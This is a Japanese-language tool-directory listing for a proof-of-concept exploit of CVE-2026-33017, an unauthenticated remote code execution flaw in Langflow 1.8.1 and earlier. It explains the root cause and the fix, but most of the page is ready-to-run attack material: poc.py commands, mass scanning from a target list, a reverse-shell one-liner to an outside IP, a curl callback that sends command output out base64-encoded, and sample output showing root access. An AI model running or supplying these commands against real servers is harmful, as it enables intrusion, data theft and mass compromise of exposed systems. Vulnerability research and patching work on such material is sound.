Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
langflow-CVE-2026-33017-poc — CVE-2026-33017 - Langflow <= 1.8.1 における Public Flow Build Endpoint 経由の未認証リモートコード実行 | Kitploit
ツール/GitHubGitHub/maxmnml/langflow-cve-2026-33017-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育
GitHubmaxmnml/langflow-cve-2026-33017-poc

langflow-CVE-2026-33017-poc

CVE-2026-33017 - Langflow <= 1.8.1 における Public Flow Build Endpoint 経由の未認証リモートコード実行

リポジトリを見る
10425ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33017 — Langflow 未認証 RCE PoC

CVE CVSS Affected Language

教育および許可されたテスト目的にのみ使用してください。

概要

Langflow <= 1.8.1 は、攻撃者が制御する任意のコードを含むフローデータを受け入れる公開フロービルドエンドポイントを公開しています。このコードは validate.py 内の prepare_global_scope() に渡され、サンドボックスなしで exec() が呼び出されるため、認証なしでサーバープロセス権限によるリモートコード実行が可能になります。

  • CVE: CVE-2026-33017
  • GHSA: GHSA-vwmf-pq79-vjvx
  • 深刻度: 緊急 — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
  • 修正版: 1.9.0
  • 影響を受けるバージョン

    パッケージ影響を受けるバージョン修正版
    pip langflow<= 1.8.11.9.0

    脆弱性の詳細

    根本原因

    build_public_tmp エンドポイントは意図的に認証なしとなっています。保存された公開フローを誰でも実行できるように設計されているためです。問題は、このエンドポイントが攻撃者が制御するフロー定義を含むオプションの data パラメータも受け入れることです。その結果、認証されていないユーザーが任意のノードコードを送信でき、サーバーはそれを正当なフローグラフとして扱い、検証なしでコード実行ルーチンに直接渡します。

    修正は単純です。data パラメータを削除し、エンドポイントが build_graph_from_db() のみを呼び出すようにすることで、公開フローは保存されたデータのみを実行し、攻撃者が供給したコードを実行しないようにします。

    実行チェーン

    攻撃者のペイロードは、実行に到達するまでに次の呼び出しチェーンを経由します。

    StepFileDetail
    1chat.py:580build_public_tmp はリクエストボディ内の攻撃者データを受け取る
    2build.py:81start_flow_build() は信頼できないペイロードを転送する
    3build.py:298build_graph_from_data() はそれをグラフ構築に渡す
    4base.py:1168Graph.from_payload() は攻撃者が供給したノード定義をデシリアライズする
    5base.py:1323ノードごとに instantiate_component() が呼び出される
    6loading.py:43カスタムコンポーネントのパラメータから code フィールドが抽出される
    7eval.py:9create_class() は生の攻撃者コードを受け取る
    8validate.py:397exec(compiled_code, exec_globals) — サンドボックスなし

    モジュールレベルインジェクションが成立する理由

    validate.py の prepare_global_scope() は、グラフのコンパイル中に(フローメソッドが呼び出される前に)ast.Assign ノードを処理します。そのため、注入されたコード内のトップレベルの代入は即座に実行されます。

    root@kitploit:~
    _r = __import__('os').system("whoami")  # runs at compile time, not at flow run time
    

    出力は HTTP レスポンスではなく サーバーの標準出力 に送られます。外部への持ち出しには、アウトバウンドコールバック(リバースシェル、curl webhook)が必要です。

    脆弱なエンドポイント

    エンドポイント認証攻撃ベクトル
    POST /api/v1/build_public_tmp/{flow_id}/flowなしリモート / 認証なし

    悪用シナリオ

    シナリオ要件
    A — AUTO_LOGIN 有効AUTO_LOGIN=true: JWT トークンを匿名で取得し、PUBLIC フローを作成して悪用する
    B — 既知の公開フロー共有/公開フローの UUID が既知: 認証不要で直接悪用する

    使用方法

    root@kitploit:~
    pip install requests
    python3 poc.py --url http://target:7860 --cmd "id"
    

    オプション

    フラグデフォルト説明
    --url—単一ターゲットの Langflow URL
    --url-file—1行に1つのURLを記載したテキストファイル(一括スキャン)
    --cmdidターゲット上で実行する OS コマンド
    --flow-id—既存の公開フローの UUID(フロー作成をスキップ)
    --threads5一括モードで使用する並列スレッド数
    --timeout15HTTP リクエストのタイムアウト(秒)
    --no-cleanupfalse悪用後に作成したフローを残す

    使用例

    重要: この PoC はモジュールレベルで os.system() を使用します。コマンドはサーバー上で実行されますが、その出力は HTTP レスポンスには戻らず サーバーの標準出力 に送られます。PoC は実行が発生したこと([+] VULNERABLE)を確認するだけです。実際にコマンド出力を受け取るには、以下のいずれかの外部送信方法を使用してください。

    ブラインド確認(出力を取得せずに RCE を検証)

    root@kitploit:~
    python3 poc.py --url http://target:7860 --cmd "id"
    

    リバースシェル — ローカルリスナーを使用

    root@kitploit:~
    # 1. Start a listener on your machine
    nc -lvnp 4444
    
    # 2. Send the reverse shell
    python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
    

    HTTP コールバックによる OOB 外部送信 — ローカルサーバーを使用

    root@kitploit:~
    # 1. Start a local HTTP server
    python3 -m http.server 8080
    
    # 2. Exfiltrate output via curl callback
    python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
    

    既知の公開フロー UUID を使用(フロー作成不要)

    root@kitploit:~
    python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
    

    ファイルからの一括スキャン

    root@kitploit:~
    python3 poc.py --url-file targets.txt --cmd "id" --threads 10
    

    出力例

    PoC は実行が発生したことを確認します。[+] VULNERABLE はビルドが成功し、注入されたコードが実行されたことを意味します。出力が取得されたことを意味するものではありません。

    root@kitploit:~
    ============================================================
      CVE-2026-33017 — Langflow RCE PoC
    ============================================================
      Targets : 1
      Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
      Threads : 5  |  Timeout : 15s
    ============================================================
    
    [http://target:7860] auth: JWT token obtained
    [http://target:7860] flow: created (3f2a1b4c-...)
    [http://target:7860] [+] VULNERABLE — RCE executed
    [http://target:7860] flow: deleted (3f2a1b4c-...)
    
    ============================================================
      SUMMARY
    ============================================================
      [+] http://target:7860  VULNERABLE
    ============================================================
    
      1/1 target(s) vulnerable
    

    ローカル HTTP サーバーで受信した出力:

    root@kitploit:~
    10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
    # base64 -d → uid=0(root) gid=0(root) groups=0(root)
    

    参照

    • GHSA-vwmf-pq79-vjvx
    • CVE-2026-33017
    • Langflow リポジトリ
    • 関連: CVE-2025-3248 — /api/v1/validate/code における同様の exec() 問題
    ツールをダウンロード